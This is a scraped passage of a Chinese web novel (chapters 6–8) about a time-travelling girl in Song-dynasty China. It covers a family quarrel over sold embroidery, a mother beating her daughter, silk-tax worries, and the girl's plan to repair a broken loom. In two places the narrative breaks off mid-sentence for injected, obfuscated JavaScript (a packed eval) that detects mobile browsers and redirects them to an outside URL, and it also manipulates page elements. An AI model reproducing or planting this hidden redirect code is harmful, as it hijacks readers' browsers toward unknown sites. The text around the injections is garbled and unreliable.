唐照环回神，听到大娘气愤的声音：“别的就算了，睁开你的狗眼仔细看看，这么用心的走线，针脚又密，颜色又多，花又大，你们收回去拆了线，做一条褙子都够了。居然才开这么点钱？你个黑店当我好欺负是吧？！” “哎哟，我的唐大娘子，您消消气，真不是小店压价。这张花片，铺底和绣线都是最普通的那种，我们收进来，也只能配些同样普通的料子卖给乡下人家。买这种料子的人家，哪里懂得欣赏针脚密不密，颜色多不多？有个花样子贴上去就不错了。” 小二陪着笑，把大娘的花片和手中的丝帕同时摊开，对比着亮给大娘看。 “像这种就不一样了，别看它小，这可是正经的定州软缎。您要是用上好的丝线，再加上您这手顶呱呱的功夫，哪怕只在这帕子上绣个小小的兰草，也至少能翻一倍的价。” 大娘一把抢过那丝帕，翻来覆去地看，又用力甩回给小二：“少拿这话唬我。你们收绣品，向来是先付一半钱，另一半等卖出去了再给。如今这光景，能买得起这种好料子的人家能有几个？就算绣好了，指不定猴年马月才能卖出去。别跟我瞎扯别的，这花片至少再加五百钱。不然我不卖了！” “哎呀呀，唐大娘子，真没法加啊，行情就这样……这样，看在您是老主顾的份上，我再给您添三百钱，再多掌柜的回来非剥了我的皮不可。” 大娘气呼呼地一把夺回花片，作势要走：“呸，就欺负老实人是吧，河里的淤泥都不如你们心肠黑，真是心肝肺都烂得透透，我不卖了！” “诶诶诶，别急别急！”小二连忙拦住，眼珠一转，计上心来，“这样吧。这方丝帕，我们店里最低也要卖两百五十钱，我再给配十几色上好的绣线，总价绝对超过四百钱。您要是同意了，我就做个主送给您，权当交个朋友，您也给我个面子，成不成？” 大娘想了想：“不行，这些我不要，折成四百钱给我。” “要不，十两丝线也成。五月要交夏税，这几年官府越来越喜欢用绢代税，两位家里应该还没准备够吧。这丝线现在店里卖五十文一两，下个月可就七十文起了。” 又用绢代税了，唐照环在心里直骂官府忒黑心。这会儿每年的税收两次，六月头上的夏税按人头和差役量收，十月底的秋税按家里的财产和地产收。 唐照环家七口人，二男三女五个成丁，两个没成年女丁，夏税按钱计价得交两贯四，官府非要按一匹绢顶400文钱来收，如果全用绢代税得交六匹。可市面上买一匹绢得一贯二，往年允许一半交钱，一半交绢，今年万一全交绢的话，活生生变成了要花七贯二的钱。 谁受得了啊。 还有一种法子是出丝线和加工钱请有织机的人代织，一匹绢织稀疏点用六两丝线计300文，工费差不多也这价，所以一匹买回来花600文，六匹三贯六。 大娘嗤之以鼻道：“我家又没织机，我买这劳什子作甚。难不成还指望我现学织布？这些东西我不要。” 小二还想再劝，一直默默在旁边听着的溪娘突然出声：“理事的，您刚才说，若是用这丝帕配上好丝线，再有好绣工，您愿意五百文收回去？此话可当真？” “那是自然，不过也得看绣工，得是像您二位这样顶好的才行。” 得到小二肯定的答复后，溪娘扭头：“大嫂，我出四百钱，你把丝帕和绣线都让给我吧。” 大娘惊讶地上下打量她道：“好呀，你有钱吗?我可是要现钱，一手交钱一手交货，别拿什么乱七八糟的东西抵给我。” “好。”溪娘应道，伸手去解腰间的荷包。 大娘按住她要付钱的手：“还有，要买你就自己出钱，不许拿公中的，回头补也不行。” 溪娘的手顿住了，面露难色。 6.第 6 章 打骂 唐照环知道因为自己年幼，还没开始做女红贴补家用，娘亲又要供爹爹花费，手头当然没有大娘宽裕，平日即使再精打细算，估计也一下子凑不齐那么多。 大娘得意地笑看溪娘，手里有意无意地摇晃自己沉甸甸的荷包，唐照环知道，她就等着娘亲开口求她了。 趁人之危，不要脸。唐照环在心里气哼哼地顶回去。 溪娘沉默片刻，低声向小二商量，想预支一部分绣品未来的尾款。小二起初连连摇头，两人来回拉扯了好一会儿，溪娘又主动提出将这次卖出的绣品价格再压低几十个铜板，小二这才勉强点头同意。 总算凑够了钱，与大娘交割清楚，小二便带着溪娘去一旁挑选配色的绣线了。 在外面等候的唐照环听到大娘呸道：“真是傻子。钱放自己口袋里才是真，买那些不当吃不当穿的无用东西，怪不得她老子一辈子攒不下钱，一分钱不给嫁女儿。老子女儿一个样。不晓得攒点家底，我看将来还有谁会娶你女儿。” 这怎么能忍，反正溪娘这会儿不在，批评不了她不尊敬长辈。 唐照环学她的语气阴阳怪气道：“哼，我娘本事在身能赚钱，有人就只会盯着钱袋和嫁人这点事看，小肚鸡肠。我将来有没有人娶，关她什么事，咸吃萝卜淡操心。” 她的话没指名道姓，内容也无法辩驳，大娘不好主动出头认领，只能涨红了脸不说话。 等溪娘挑好，唐照环牢记和琼姐的约定，早已眼疾手快地在一堆布头里挑拣好了几块颜色鲜亮，大小合适的碎布，用手帕平整地包好，揣进怀里，对溪娘道：“娘，时候差不多了，我去找爹爹。” 大娘低头在琼姐耳边，用炫耀的语气大声道：“你也去，给你钱，回来的时候再去买两角枣泥糕一同带回来。” 琼姐点头收下钱，随唐照环出门。 唐照环看了看天，建议道：“不早了，前面街上有两家书坊，不如我们各去一家，节省时间。” 琼姐点点头，两人分头行动。 唐照环运气不错，刚走进书坊，就看见爹爹唐守礼正站在书架前，捧着一卷书看得入神。 她走过去拽了拽爹爹的衣袖，才把唐守礼从书中叫回过神。 唐守礼温和一笑，牵起女儿的手，一同去另一家书坊寻到了琼姐，然后跟其他人汇合。 一家人踏着暮色回家，洗漱收拾停当，大家各自回屋准备休息。将将躺下，对面大娘的屋子传来好大一声动静，像是有人把凳子狠狠掼在了地上。 唐照环还以为是对面大娘或者琼姐不小心碰翻了什么，便翻身准备接着睡，爹娘倒是上心了。 “这是怎么了?”唐守仁起身走到窗边，把窗户推开了一点。 大娘的咒骂声立刻顺着窗缝冲了进来：“……作死的小蹄子！我养你有什么用！白瞎了我的钱！” “这么晚了发什么脾气呢。”溪娘想起身。 唐守仁拦住她：“别去，她那性子，总是要骂两声才舒坦的，估计一会儿就好了。” 谁曾想，大娘的骂声非但没停，反而越来越高，话语也越来越不干净，什么“吃里扒外”、“胳膊肘往外拐”、“赔钱货”……琼姐压抑的抽泣声也隐隐传了过来。 “还是去看看吧。她那脾气上来没轻没重的，别真把孩子打出个好歹来。”溪娘起床匆匆穿好衣服，推开房门往对面走去。 唐守仁不方便干涉别人家事，但也放心不下：“你小心，若实在不像话叫我。” 唐照环想了想，怕自己娘亲性子软，说不过那泼辣的大娘吃亏，连忙也穿上衣服，趿拉着鞋子跟了出去。 溪娘走到大娘门口，轻敲道：“大嫂?开开门，有话好好说。” “滚回你自己屋子去，少多管闲事。”大娘恶声恶气的声音隔着门板传来。 溪娘脸色一变，还是耐着性子继续敲门：“小孩子不懂事，你别气坏了身子。” “滚，我管教我自己生的孩子，打死打残都是我的事。” 话音未落，屋里又传来一声清脆响亮的巴掌声。琼姐忍受不了疼痛，闷哼一声。 你个疯女人，还蹬鼻子上脸了。唐照环脾气一下子上来了，她往后一退，铆足了劲儿，抬起小脚狠狠踹向门板，想把门踹开。 可她忘了自己现在只是个十岁小姑娘，力气小，门板纹丝不动，反震力却让她脚趾生疼，膝盖也撞得发麻，疼得她龇牙咧嘴。 她揉揉膝盖，准备再来一次。 结果有人比他动作更快，唐守仁沉着脸大步上前，毫不犹豫地抬脚用力一踹。 “哐啷！”门栓应声而断，门被猛地踹开。 唐守仁一步跨进屋内，眼疾手快地抓住大娘的手往旁边一甩：“琼儿也是我们唐家的孩子，我这个做二叔的，总有理由管了吧？” 趁着唐守仁挡住大娘的瞬间，溪娘和唐照环立刻冲进去，把蜷缩在地上哭泣的琼姐扶了起来，搀到床边坐下。 溪娘轻缓地掀开琼姐的衣袖，借着昏暗的月光一看，顿时倒吸一口冷气。只见那细瘦的胳膊上，赫然交错着好几道新鲜的红肿印记，有些地方甚至渗出了细小的血珠。 “天爷！这也太狠了吧！怎么下得去这个手！”唐照环看得心头火起，忍不住脱口而出。 大娘被唐守礼甩开，正踉跄着站稳，闻言狠狠瞪了唐照环一眼：“死丫头片子，滚一边去，这里没你说话的份儿。” 唐守仁撇了眼琼姐的伤口，眉头紧锁道：“我也正要问。大嫂，孩子做了什么天大的错事，你要这么打她?” 溪娘吩咐唐照环：“去打些水，再取条干净的布巾给琼姐冷敷。” 唐照环点头，拿着盆出门。待到她端着水进门，一个东西正好落到她脚边，似乎是本书。 大娘指着地上的东西吼道：“就算今天我自作主张把她绣的花片卖了，当娘的替她管钱有什么不对。再说我让她去买点心，她就给我买这破烂玩意儿回来。” 哈哈，唐照环心头一乐。 爹爹是最爱书之人，大娘这么说他必定不开心，她本来还担心他会不会碍于身份不便深管，这下他肯定要管到底了，你完了。 果然唐守仁说话的语气更硬了些：“大嫂大字不识一个，又如何断定这是破烂，若此书是孔孟圣贤之书，或是朝廷颁布的黄历和农书，你这‘破烂’二字，便是亵渎圣贤、藐视朝廷。告到官府，是要治大不敬之罪的，砍头亦不为过。” 大娘被他严厉的语气和话里的砍头吓住了，气势顿时矮了半截，强辩道：“我就是顺嘴那么一说，哪有那么要紧。再说了，她个小孩子家家的，哪懂买那些正经书，说不定是些不三不四的□□也不定啊。” 趁着两人说话的间隙，唐照环已经把书拿到手翻了翻，便翻出一页彩绘的花鸟图样，高高举起，亮给众人看：“你别诬陷人，睁大眼睛看看，明明是描花样的画集，上面都是花鸟鱼虫。不认字，画也看不懂嘛？” “好了环儿，不可以对长辈不敬。”溪娘制止道，“琼姐，你是不是想买回来描图样用的？” 琼姐低着头，眼泪大颗大颗地掉在衣襟上。 唐守仁深吸一口气，压下怒火：“大嫂，不是我说你，这你做得就不太合适了，平日里你觉得女孩儿读书无用，不让琼姐跟我启蒙认字，我也便罢了。可这女红技艺，乃女子持家立身之本。为女子者，理家也，咱们又不是什么富裕人家，多学上进总是正理。你非但不予支持，反而因此责打于她，是何道理？” 大娘被他一番话说得脸上红一阵白一阵，索性心一横，猛地一拍桌子，骂道：“好啊你们，看我没男人撑腰，联合起来欺负我是不是。” 说着说着，她居然坐地上哭了起来：“我的命好苦啊，死了男人还要被人看不起啊，不仅别人欺负我，连女儿都胳膊肘往外拐啊，我这一天到晚累死累活，缝缝补补，操持这个家，辛辛苦苦都是为了谁啊。我不活了……” 琼姐见状赶忙站起身，顾不得胳膊的疼痛，蹲下去扶她，乞求道：“娘，您快别哭了，是女儿错了，是女儿不好。那家，那家看不上我是我没那个福分。地上凉，您快起来吧。” “我不起来，你去把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106358|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们都赶走，快点赶走！”大娘哭嚎着，用力推搡琼姐。 琼姐只好缓缓起身，含着泪走到唐守仁和溪娘面前，深深行了一礼，声音细弱：“二叔，婶婶，对不住，还请几位先回去吧。” “要不然，今晚到我那里去睡。”溪娘对琼姐道。 “不用了，我……我放心不下我娘。” 唐照环看这情况，心里明白，大娘这么一闹，估计今晚也没力气再打琼姐了。 溪娘也这么想，便打圆场道：“大嫂，快别哭了，多哭伤身啊。都是一家人，打断骨头连着筋，哪有谁瞧不起谁的道理？把话说开了，误会也就解开了。这书既然买了又不能退，依我看，从明儿起，让琼姐拿着书到我屋里来，我教她描花样，顺便也认认上面的字。” 唐守仁看着哭天抢地的大娘和满脸泪痕，满眼哀求的琼姐，知道今晚也只能到此为止。 他深吸一口气：“天色已晚，都歇了吧。环儿，回去了。” 唐照环一边答应着，一边趁人不注意，飞快地把那本惹祸的花鸟画集捡起来，悄悄塞进了自己的怀里。 回到东边屋里，三人重新脱衣躺下，溪娘道：“今早上大嫂似是跟之前相看人家的媒人见面了，表达了结亲的意思，但是人家把亲给拒了，还说了些不好听的话。是以下午大嫂才气得把琼姐辛苦绣的花片硬给卖了，想来那花片本是打算送给对方夫人表心意的。” 不嫁也好，唐照环心里想着。她听说了，那户人家的儿子是个有名的纨绔，在外面花天酒地惯了。琼姐性子这么软和柔顺，哪里管得住？别刚成亲没两年，男人就把身子掏空了，到时候琼姐还得伺候个病秧子，那才叫苦海无边。 唐守仁在黑暗中闷声道：“大嫂也是。明明心里有琼姐，想着她最近赶工辛苦，给她私下添食，却又控制不住脾气，一动手把孩子打成这样。” 爹爹你可把人想得真好，她那是控制欲作祟。唐照环在心里不以为然地腹诽。给点甜枣再打一顿，好让琼姐更死心塌地地听她摆布罢了。 “琼姐性子好，既孝顺，又肯学，真是可惜了。”溪娘叹息道，“往后我多寻机会劝劝大嫂吧，只盼她能听进一两句。” 第二日清晨，西厢房依旧没什么动静，想来昨晚又闹腾了许久。唐照环一家起床洗漱时，那边还房门紧闭。 唐照环便趁着这空档，抱着救下来的花鸟画集溜进爹爹的书房，坐在门口小凳子上欣赏。 书页有些粗糙，印刷还算清晰，里面是各式各样的花鸟鱼虫图样。有趣的是，在每幅图样的空白处，还用小楷工整地题写一首相关的诗词。 唐照环一边翻看一边在心里感慨，还是宋朝好啊，风气开放。这给闺阁女子描花样用的画集，还能大大方方地附上时兴的诗词。等到了明清两朝，书商生怕诗词里带点闺怨和相思相关的字眼，被扣上教坏闺阁的大帽子，画集里就只剩下干巴巴的名字和描述了，无趣得很。 正翻着，琼姐的声音在身边响起：“看什么呢这么入神。” 她眼睛还有些红肿，脸色也有些苍白，但精神看着还好。 “姐姐，这本画集好有趣。书商应是东坡居士诗词的爱好者，你看，里面选了好几首他的作品。” 唐照环翻到一页画着月亮和琼楼玉宇的图样，旁边题着一首《水调歌头·明月几时有》，指着那句“人有悲欢离合，月有阴晴圆缺”，用小孩子能懂的话解释。 “这词儿写得多好啊，就像在说，这人呐，有开心的时候也有难过的时候，有聚在一起热热闹闹的，也有分开孤孤单单的，就像那天上的月亮，有圆滚滚亮堂堂的时候，也有弯弯细细，被云遮住的时候，都是常事，看开些就好啦。” “这个东坡居士也是个奇人。”唐照环兴致勃勃地继续卖弄，“听说，听说啊，他年纪轻轻就考中了进士，殿试应答被好多应举文书收录，风靡一时。之后一路平步青云，成了最年轻的知州，写的文章不过一月就能传遍大江南北。” “如此厉害，”琼姐听得入了神，向往地说，“想来将来必定能当个宰相吧？” 7.第 7 章 夏税 唐照环没吭声，她总不能说，苏东坡虽然厉害，但性格太耿直，在官场上得罪人太多，新旧两党都不待见他，最高也就做到尚书，离宰相还远，很快就被贬官了。她含糊地嗯了一声，结束了话题。 琼姐看着画集上清秀的字迹，又看看唐照环侃侃而谈的样子，羡慕道：“二叔果然会教人。妹妹如今懂得这样多，明明几年前还是跟我一般，只会写自己的名字而已。” 唐照环吐吐舌头，她为了不让人发现自己穿越端倪，装小白装了好久：“姐姐如果也想识字倒也简单，不如我来教你吧。” “会不会太麻烦你了?”琼姐担忧地问道。 唐照环摇头：“爹爹说过，如能把先生教过的内容用不同的方式重复出来，才能真正明白其义。姐姐要是过意不去，就教授我女红好了。” 琼姐看着她真诚的笑脸，使力点头道：“那是自然，多谢妹妹了。” 溪娘的声音从窗外传来：“环儿，来帮忙。” “就这么说定了。”唐照环小跑出门。 溪娘坐在院子墙角阴影处，面前摆了个小凳子，上面是她昨日在布料店豪掷四百文得来的软缎丝帕和十几色绣线。 她拿起一缕极细的绣线，用指甲劈开：“趁日头好，过来帮娘劈劈线。这手啊，真是一年不如一年嫩了。年轻那会儿，一天能劈出绣一大幅屏风的线。如今做点饭食，洗几件衣裳，再碰这精细活，就得格外当心，一个不留神就勾花了。” 唐照环学溪娘的样子，用小指甲的尖端将她递过来的绣线分出更细的一股：“娘的手哪里老。” “这帕子得尽快绣好。小二说了，好绣工配上好料子好丝线，他能出五百文收。咱们得赶在夏税之前，多攒下些钱粮。”溪娘笑了笑，没接女儿的话茬，“绣个小花就行，但要精细。绣完了赶紧送回店里去，不能耽搁。这丝缎娇贵，在咱们手里放久了，万一不小心磨花蹭脏了，店里不收或是扣钱，那可就白忙活一场了。” 夏税。这两个字像小锤子敲在唐照环心上。 她装作不经意地提起：“娘，昨天那个理事的说，五月夏税要全用绢抵税。我记得绢价平时卖一贯二，官府收税时只按四百文一匹收？” “嗯，是有这话。绢帛轻便好运输，比铜钱更得官府的喜欢。”溪娘手上动作不停，眉头蹙起，“官府收税，向来如此，吃亏的总是咱们小民。” 唐照环家里没有织机，往年得想法子买绢，或是高价请有织机的人家代织，所以溪娘才这么急。 唐照环心里的小算盘开始噼啪作响。她抬起头，眼睛亮晶晶地看着溪娘：“我记得二爷爷家有织机呀，咱们能不能去借来用用？趁着夏税还早，织几匹绢出来，比买绢划算，说不定还能多织点卖钱呢。” 谁知溪娘听了，劈线的手猛地一顿，脸色严肃了几分：“快别提这个话头，且不说主家也要用织机，就算闲置着，也万万开不得这个口。这里头还牵扯你十二叔的一桩糟心往事，心里头还窝火呢。” 唐照环的好奇心彻底被勾了起来：“十二叔是谁？他怎么了？” 溪娘叹了口气，放下手中的丝线，回忆道：“你十二叔唐鸿音，今年才十六，比你爹小一轮。那孩子，打小就脑子活络，爱琢磨些商贾营生。去年，也不知他从哪里踅摸来一台二手的立织绫机，想学人家开个小作坊，听说比寻常织机更快更省力，能织出好料子来。” “这是好事呀。”唐照环不解。 “好事？”溪娘苦笑摇头，“开头是挺好。他花了不少钱把那织机弄回来，也请了懂行的师傅看过。可没曾想，那织机最要紧的部件，叫什么‘综片’的，磨损得厉害，织出来的绢布总是出岔子，不是跳线就是断纹，根本出不了好货。” “找人修啊？或者换新？”唐照环追问。 “谈何容易。”溪娘道，“立织绫机本就稀罕，懂它门道的匠人少之又少，工钱贵得吓人。更糟心的是，要正经用织机织绸缎贩卖，还得去官府办个什么机织许可。那又是一笔不小的开销，还要打点。你十二叔一个半大孩子，哪里应付得了这些。” 唐照环听得眉头紧锁，这唐鸿音也算个有想法的，可惜时运不济啊。 “机器没修好，许可又没办下来，等于花大价钱买了个废疙瘩回家。你二爷爷气得够呛，差点把你十二叔腿打断。那织机就一直扔在后院空屋里，再没人动过。” 太坎坷了，从雄心勃勃创业到血本无归，古代版创业悲剧。 “跟咱们家，跟三叔又有什么关系？”她追问。 溪娘尴尬道：“你十二叔机器坏了，不甘心，四处找人想办法。你三叔嘴上没个把门的，说认识州府里的能工巧匠，能修那劳什子综片，还认识路子能办下那个许可，哄得你十二叔又是塞钱又是请吃饭。 结果呢？钱是花出去不少，事儿一件没办成。你十二叔气得差点跟你三叔打起来，后来还是你二爷爷出面压了下来，但两家心里这疙瘩算是结下了。 所以啊，那织机，现在就是二爷爷家的心病，更是咱们家的忌讳。借机器的事到此为止，烂在肚子里，知道吗？” 唐照环恍然大悟，原来如此，怪不得溪娘如此紧张。三叔唐守礼不仅没本事，还坑了自家族弟一把，把关系搞僵了。那台织机，如今就是个不能碰的禁忌。 那台立织绫机，真就彻底废了吗？唐照环心里的小火苗并没有完全熄灭。 她前世虽然不是专业学机械的，但物理和材料力学的基础还在，加上对各种古代机械复原图的兴趣，对立织绫机的结构原理还算了解。 竹木不行换铁木复合结构？改变受力点？办法总比困难多，她可舍不得让一台可能改变家庭命运的机器烂在仓库里。 这个念头一旦冒出来，就再也压不下去。她需要亲眼看看那台织机，尤其是损坏的综片。 “娘，”唐照环扯了扯溪娘的袖子，大眼睛忽闪忽闪，使出小孩子对新鲜事物的好奇劲儿，“那织机长啥样啊？我就远远看一眼，开开眼界行不？保证不提借。” 溪娘推脱：“这事娘做不了主。那是主家的东西，更是你十二叔的心病。要看，也得你爹出面去说，而且未必能成。” “那我去求爹爹。”唐照环立刻道。 第二天下午，唐守仁从县学回来得早些，唐照环像个小尾巴似的黏着他，软磨硬泡，说想去主屋那边看那架传说中的大机器，长长见识。 唐守仁被女儿缠得没法，又想着主屋离得不远，带女儿去认认族亲也是应当，便应承下来：“好吧，带你去。不过记住，只看，别乱碰，也别多嘴，尤其别提借机器的事，免得惹你十二叔不高兴。” “嗯，爹爹最好了！”唐照环欢呼雀跃，拉着他的手就往外走。 父女俩刚走到主屋院墙外的小路上，唐照环眼尖，瞥见一个熟悉的身影鬼鬼祟祟地从侧面的月亮门闪了出来，怀里似乎还揣着什么东西，往后院方向溜去。 “爹，快看。”唐照环赶紧扯了扯唐守仁的袖子，压低声音，小手指着那个背影，“是三叔。” 唐守仁顺着女儿指的方向看去，眉头立刻皱了起来。只见唐守礼穿着一件半旧的褐色短褂，缩着脖子，脚步又轻又快，神色慌张，眼神四处乱瞟，活像一只偷油的老鼠。 这模样，怎么看都不像干好事。 “他这是要去后院？那不是堆放杂物和那架坏织机的空屋吗？” 一股不祥的预感涌上父女俩心头。 “爹，快跟上去看看，别让他又干坏事。”唐照环小脸绷紧。 “嘘。”唐守仁示意女儿噤声，脸色沉了下去，“小心点，别被他发现。” 父女俩立刻放轻脚步，远远地缀在唐守礼后面。只见唐守礼熟门熟路地绕到主屋后头一排低矮的厢房前，其中一间屋门虚掩着。他左右张望一番，迅速推开那扇吱呀作响的木门，闪身钻了进去。 唐守仁和唐照环对视一眼，加快脚步，悄悄摸到那间空屋的窗外。窗户纸破了好几个洞，正好方便窥视。 屋内光线昏暗，堆满了各种杂物，落满了灰尘。最显眼的，就是屋子中央那架蒙着厚厚灰尘的庞大立织绫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113905|179672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机。虽然破败，但骨架犹存，能看出曾经的复杂与精巧。 唐守礼站到织机旁边，拿出一把小凿子和一把锤子，对着织机上一个闪闪发光的铜质部件使劲，嘴里念念有词：“反正也是堆废铁烂木头，主家早忘了。撬下来这个铜轴套，还有那几个铜扣环，能值不少钱，够翻本了。” 唐守仁气得浑身发抖，再也忍不住，猛地推开虚掩的屋门，厉声喝道：“三弟，你在做什么！” 唐守礼被这突如其来的喝声吓得魂飞魄散，手里的凿子锤子哐当掉在地上。他猛地回头，看到门口一脸怒容的唐守仁和旁边的唐照环，脸色瞬间变得惨白。 “二哥？你，你们怎么在这儿？”唐守礼结结巴巴，下意识试图挡住自己刚才撬动的地方。 “我还要问你呢。”唐守仁大步走进屋内，指着地上的工具和被撬出痕迹的铜件，痛心疾首，“你糊涂啊，这可是主家的东西，你怎么敢偷拆了去卖钱？你这跟贼有什么区别。” “我没有，你误会了。”唐守礼强自镇定，眼珠乱转，试图狡辩，“我就是看这机器堆在这里落灰可惜，想看看能不能修。” “修？用凿子锤子修？”唐守仁气得冷笑，“你当我眼瞎吗？” 眼看被戳穿，唐守礼索性破罐子破摔，梗着脖子嚷道：“是又怎么样，这破玩意儿摆这儿除了占地方还有什么用？十二弟自己都当它不存在，我撬点废铜烂铁换点钱花花怎么了，总比烂在这里强，你少管闲事！” 唐守仁被他这混账逻辑气得说不出话。 在兄弟俩争执的同时，唐照环已然悄无声息地溜到了那架庞大的立织绫机旁边。 借着窗外透进来的光线，她迅速在织机复杂的结构中找到了综片。那是一排排悬挂着的薄片，材质看起来像是竹片和某种硬木的组合，上面布满细密的孔眼，用来穿引经线控制提花。 好几片综片边缘已经严重磨损开裂，甚至有一两片完全断裂，散落在机架下方。 竹子的韧性不错，但硬度和耐磨性在这种高强度和高频率的工况下，显然力不从心。 唐照环想到了，用硬木做综片的主体框架，保证基本的强度和形状稳定性，在承受摩擦和拉力的关键部位，嵌入薄而坚韧的铁片加固。这样既保留了木头的轻便和韧性，又大大提升了关键部位的硬度和耐磨性。 成本不会太高，工艺相对简单，街口的铁匠铺应该就能加工。 “别吵了，我知道这织机为啥坏了。”唐照环看准时机，大声叫喊，成功吸引了两个大人的注意。她指着那些损坏的综片，小脸满是兴奋，“是这些综片磨坏了，不结实，换掉它们就能修好。” “你个小丫头片子懂什么，十二弟请的老师傅换了多少个综片，该坏还是坏，你别添乱。”唐守礼嗤之以鼻，他现在只想赶紧脱身。 唐守仁心中一动，环儿自从上次痊愈，就有些不同于常人的机灵劲儿，或许…… “环儿，你说怎么换？”唐守仁问道。 “用更结实的木头，在容易磨坏的地方加上小铁片，比这竹子耐用多了。”唐照环把自己的铁木复合综片构想，用小孩子能理解的话说了出来。 唐守礼眼珠一转：“你看环儿都这么说了，去找十二弟说啊。他要是同意修，你们就修呗，反正这破机器搁这儿也是占地方。我还有事，先走了。” 说完，他趁着唐守仁分神思考女儿的话，把地上的东西往怀里一揣，头也不回地冲出空屋，眨眼间就跑没影了。 唐守仁看着弟弟逃跑的背影，气得直跺脚，却也无可奈何。 空屋里只剩下父女二人，还有那台蒙尘的织机。 “环儿，你刚才说的有把握吗？” “爹，试试总行吧？”唐照环这会儿不敢打包票，“万一成了，咱家绢税不用愁，主家也能挽回点损失。” 唐守仁看着破败不堪的织机，又想起沉重的夏税，咬了咬牙：“爹带你去见你十二叔。不过成不成，全看他的意思，你可不能乱说话惹人生气。” 唐照环用力点头：“晓得。” 8.第 8 章 织机 父女俩在主屋的偏厅找到了唐鸿音。十六岁的少年，身量已经长开，面容继承了唐家人的清俊，就是没什么正经坐样，正抱着一条腿的膝盖，拿着一本账册模样的东西在看。见到两人进来，他懒懒地抬了下眼皮，连把腿放下的意思都没有。 “二哥有事？”语气淡淡的，没什么热情。 唐守仁有些局促，搓了搓手：“鸿音啊，打扰你看账了。是这么回事，环儿这孩子非闹着想去看看后头空屋里的织机，我拗不过她，就带她去了。结果撞见老三在那儿……” 他把唐守礼想偷零件的事简单说了，略过了唐照环发现综片问题并提出方案的部分。 唐鸿音听到织机二字，眉头就蹙了起来，再听到唐守礼又打那破机器的主意，脸色更阴沉了几分：“呵，那堆废柴还有人惦记？三哥倒是好兴致。二哥你拦他作甚？让他拆，拆光了正好腾地方。” 这话说得唐守仁脸上火辣辣的。唐照环却不怕，她上前一步，仰着小脸，清脆地说：“十二叔，那织机不是废柴，它坏的地方我知道。” 唐鸿音狐疑地上下打量着眼前这个还没他胸口高的小丫头片子：“哦？你知道？” “综片坏了。”唐照环毫不畏惧地迎他的目光，“特别下面那几片大的，竹片子都磨烂裂开了。所以提线的时候有的线升上去，有的线卡住升不上去，或者掉下来，布就织坏了。” 唐鸿音脸上的不屑僵住了，心中暗自惊讶。这小丫头，居然真说到了点子上，不是瞎蒙的？ 唐照环语速飞快，生怕他不耐烦：“竹片子太脆，不耐磨。换成硬木头的，在特别容易磨坏的地方，嵌上薄薄的铁片，就像……就像给木屐钉上铁掌子，又结实又耐磨。你让我试试做个新的换上，花不了多少钱。” 她一口气把自己的想法说了出来，虽然用词稚嫩，但核心意思表达得很清楚，更换材质，关键部位铁木复合加固。 唐鸿音愣住了。他没想到这个小丫头片子能说出这样一番话，而且听起来似乎有那么点歪理？ 硬木加铁片加固，好像从未听那些修织机的师傅提过。他们要么说竹片是祖传工艺没法换，要么就说换全铜的全铁的代价太高不划算。 他沉默地看着唐照环。小丫头眼睛亮得惊人，里面没有孩童的胡闹，写满认真和笃定，让他想起了当初自己踌躇满志搬回这台织机时的样子。 那台织机，确是他心头的一根刺。 死马当活马医？ 这念头不受控制地冒了出来。 反正那堆东西在他心里已经死了，再坏也坏不到哪里去。几块木头，一点铁片，能值几个钱，就算全糟蹋了，也不过给那堆废柴再添点分量罢了。 他烦躁地合上手里的账册，丢在桌上，目光在唐照环充满希冀的小脸和空屋方向来回扫了几次。 “行吧，想折腾就随你去折腾。木头和铁片，需要什么样的，跟库房老刘头说一声，就说我应了。” 成了！唐照环心中一阵狂喜。她强忍着没跳起来，用力拉了拉还有些发懵的爹爹的衣角。 唐守仁也回过神来，连忙低声道：“还不快谢谢你十二叔。” “谢谢十二叔。”唐照环清脆地道谢，拉着爹爹轻快地退出了偏厅。 光阴似箭，十日弹指而过。这天下午，唐照环怀里抱着一卷整整齐齐的布卷，脚下生风，直奔主屋。 唐鸿音正百无聊赖地倚在廊下，嘴里叼着根草茎，望着天边流云，心思早飞到了后院空屋。 见唐照环抱着匹布似的物件闯进来，他哼了一声：“别是把家里被褥拆了来糊弄我。” “用咱们的新织机织出来的。”唐照环将布卷轻放在院中的石桌上，展开，雪白素绢如月华倾泻而出，细腻光洁，色泽均匀。 唐鸿音嘴里叼着的草茎掉了，他猛地站直身体，几步跨到石桌前，也顾不得什么仪态，俯身便凑到绢面上。 他屏住呼吸，沿布边一寸寸细细查看，搜寻哪怕一丝一毫的跳纱，断头，稀密不匀或是污渍。然而，绢面经纬交织得紧密均匀，别说瑕疵，连根多余的线头都寻不见。 这品相，别说交税，就是拿到州里最好的布庄去，也绝对能评个上等。 成了？！真成了？！ 巨大的狂喜瞬间淹没了他，紧随其后的却是更深的疑虑。这小丫头片子，莫不是怕牛皮吹破，从外头买了匹好绢来诓他？ 这念头一起，少年心性里的执拗和冲动便占了上风。他二话不说，拔腿就往后院奔去。 “哎，等等我。”唐照环只得迈着小短腿急急跟上。 推开熟悉的木门，屋内景象让唐鸿音又是一怔。昔日蛛网密布的破败空屋，如今收拾得窗明几净，一尘不染。那台曾被他视为耻辱的立织绫机，被擦拭得露出原本的木色，静静立在屋中。 